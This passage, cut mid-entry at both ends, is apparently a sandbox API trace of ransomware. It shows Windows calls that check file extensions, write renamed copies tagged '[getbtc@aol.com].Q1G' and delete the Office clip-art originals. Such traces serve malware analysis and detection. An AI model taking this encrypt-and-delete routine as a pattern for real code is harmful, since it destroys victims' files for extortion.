lpString2=".WMF") returned 1 [0247.759] lstrlenW (lpString=".xlsx") returned 5 [0247.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.759] lstrlenW (lpString=".ppt") returned 4 [0247.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.759] lstrlenW (lpString=".zip") returned 4 [0247.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.759] lstrlenW (lpString=".rar") returned 4 [0247.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.759] lstrlenW (lpString=".bz2") returned 4 [0247.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.759] lstrlenW (lpString=".7z") returned 3 [0247.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.759] lstrlenW (lpString=".dbf") returned 4 [0247.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.759] lstrlenW (lpString=".1cd") returned 4 [0247.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.759] lstrlenW (lpString=".jpg") returned 4 [0247.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.759] lstrlenW (lpString=".doc") returned 4 [0247.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.759] lstrlenW (lpString=".docx") returned 5 [0247.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.759] lstrlenW (lpString=".pdf") returned 4 [0247.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.759] lstrlenW (lpString=".xls") returned 4 [0247.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.759] lstrlenW (lpString=".xlsx") returned 5 [0247.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.760] lstrlenW (lpString=".ppt") returned 4 [0247.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.760] lstrlenW (lpString=".zip") returned 4 [0247.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.760] lstrlenW (lpString=".rar") returned 4 [0247.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.760] lstrlenW (lpString=".bz2") returned 4 [0247.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.760] lstrlenW (lpString=".7z") returned 3 [0247.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.760] lstrlenW (lpString=".dbf") returned 4 [0247.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.760] lstrlenW (lpString=".1cd") returned 4 [0247.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0247.760] lstrlenW (lpString=".jpg") returned 4 [0247.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.760] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.760] lstrlenW (lpString="DD00419_.WMF") returned 12 [0247.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0247.773] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=712) returned 1 [0247.773] CloseHandle (hObject=0x360) returned 1 [0247.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0247.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0247.773] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.773] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0247.774] GetLastError () returned 0x0 [0247.774] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2c8, lpOverlapped=0x0) returned 1 [0247.775] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0247.777] ReadFile (in: hFile=0x360, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.777] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.777] SetEndOfFile (hFile=0x3b4) returned 1 [0247.777] CloseHandle (hObject=0x3b4) returned 1 [0247.777] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.777] SetEndOfFile (hFile=0x360) returned 1 [0247.780] CloseHandle (hObject=0x360) returned 1 [0247.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0247.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.781] lstrlenW (lpString=".doc") returned 4 [0247.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.781] lstrlenW (lpString=".docx") returned 5 [0247.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.781] lstrlenW (lpString=".pdf") returned 4 [0247.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.781] lstrlenW (lpString=".xls") returned 4 [0247.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.781] lstrlenW (lpString=".xlsx") returned 5 [0247.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.781] lstrlenW (lpString=".ppt") returned 4 [0247.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.781] lstrlenW (lpString=".zip") returned 4 [0247.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.781] lstrlenW (lpString=".rar") returned 4 [0247.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.781] lstrlenW (lpString=".bz2") returned 4 [0247.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.781] lstrlenW (lpString=".7z") returned 3 [0247.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.781] lstrlenW (lpString=".dbf") returned 4 [0247.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.781] lstrlenW (lpString=".1cd") returned 4 [0247.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.781] lstrlenW (lpString=".jpg") returned 4 [0247.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.781] lstrlenW (lpString=".doc") returned 4 [0247.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.781] lstrlenW (lpString=".docx") returned 5 [0247.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.782] lstrlenW (lpString=".pdf") returned 4 [0247.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.782] lstrlenW (lpString=".xls") returned 4 [0247.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.782] lstrlenW (lpString=".xlsx") returned 5 [0247.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.782] lstrlenW (lpString=".ppt") returned 4 [0247.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.782] lstrlenW (lpString=".zip") returned 4 [0247.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.782] lstrlenW (lpString=".rar") returned 4 [0247.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.782] lstrlenW (lpString=".bz2") returned 4 [0247.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.782] lstrlenW (lpString=".7z") returned 3 [0247.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.782] lstrlenW (lpString=".dbf") returned 4 [0247.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.782] lstrlenW (lpString=".1cd") returned 4 [0247.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0247.782] lstrlenW (lpString=".jpg") returned 4 [0247.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.782] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.782] lstrlenW (lpString="DD00448_.WMF") returned 12 [0247.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0247.851] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2952) returned 1 [0247.858] CloseHandle (hObject=0x390) returned 1 [0247.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0247.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0247.858] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.858] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.859] GetLastError () returned 0x0 [0247.859] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xb88, lpOverlapped=0x0) returned 1 [0247.914] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xb90, lpOverlapped=0x0) returned 1 [0247.916] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.916] WriteFile (in: hFile=0x3bc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.916] SetEndOfFile (hFile=0x3bc) returned 1 [0247.916] CloseHandle (hObject=0x3bc) returned 1 [0247.916] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.916] SetEndOfFile (hFile=0x390) returned 1 [0247.918] CloseHandle (hObject=0x390) returned 1 [0247.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0247.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.967] lstrlenW (lpString=".doc") returned 4 [0247.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.967] lstrlenW (lpString=".docx") returned 5 [0247.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.967] lstrlenW (lpString=".pdf") returned 4 [0247.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.967] lstrlenW (lpString=".xls") returned 4 [0247.967] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.968] lstrlenW (lpString=".xlsx") returned 5 [0247.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.968] lstrlenW (lpString=".ppt") returned 4 [0247.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.968] lstrlenW (lpString=".zip") returned 4 [0247.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.968] lstrlenW (lpString=".rar") returned 4 [0247.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.968] lstrlenW (lpString=".bz2") returned 4 [0247.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.968] lstrlenW (lpString=".7z") returned 3 [0247.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.968] lstrlenW (lpString=".dbf") returned 4 [0247.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.968] lstrlenW (lpString=".1cd") returned 4 [0247.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.968] lstrlenW (lpString=".jpg") returned 4 [0247.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.968] lstrlenW (lpString=".doc") returned 4 [0247.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.968] lstrlenW (lpString=".docx") returned 5 [0247.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.968] lstrlenW (lpString=".pdf") returned 4 [0247.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.968] lstrlenW (lpString=".xls") returned 4 [0247.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.968] lstrlenW (lpString=".xlsx") returned 5 [0247.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.968] lstrlenW (lpString=".ppt") returned 4 [0247.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.969] lstrlenW (lpString=".zip") returned 4 [0247.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.969] lstrlenW (lpString=".rar") returned 4 [0247.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.969] lstrlenW (lpString=".bz2") returned 4 [0247.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.969] lstrlenW (lpString=".7z") returned 3 [0247.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.969] lstrlenW (lpString=".dbf") returned 4 [0247.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.969] lstrlenW (lpString=".1cd") returned 4 [0247.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0247.969] lstrlenW (lpString=".jpg") returned 4 [0247.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.969] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.969] lstrlenW (lpString="DD01152_.WMF") returned 12 [0247.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.969] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2960) returned 1 [0247.970] CloseHandle (hObject=0x3c0) returned 1 [0247.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0247.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.970] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.970] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0247.970] GetLastError () returned 0x0 [0247.971] ReadFile (in: hFile=0x3c0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xb90, lpOverlapped=0x0) returned 1 [0247.982] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0247.983] ReadFile (in: hFile=0x3c0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.983] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.984] SetEndOfFile (hFile=0x390) returned 1 [0247.984] CloseHandle (hObject=0x390) returned 1 [0247.984] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.984] SetEndOfFile (hFile=0x3c0) returned 1 [0247.986] CloseHandle (hObject=0x3c0) returned 1 [0247.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0247.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.987] lstrlenW (lpString=".doc") returned 4 [0247.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.987] lstrlenW (lpString=".docx") returned 5 [0247.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.987] lstrlenW (lpString=".pdf") returned 4 [0247.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.987] lstrlenW (lpString=".xls") returned 4 [0247.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.987] lstrlenW (lpString=".xlsx") returned 5 [0247.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.987] lstrlenW (lpString=".ppt") returned 4 [0247.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 63 [0247.987] lstrlenW (lpString=".zip") returned 4 [0247.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.987] lstrlenW (lpString=".rar") returned 4 [0247.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.987] lstrlenW (lpString=".bz2") returned 4 [0247.987] 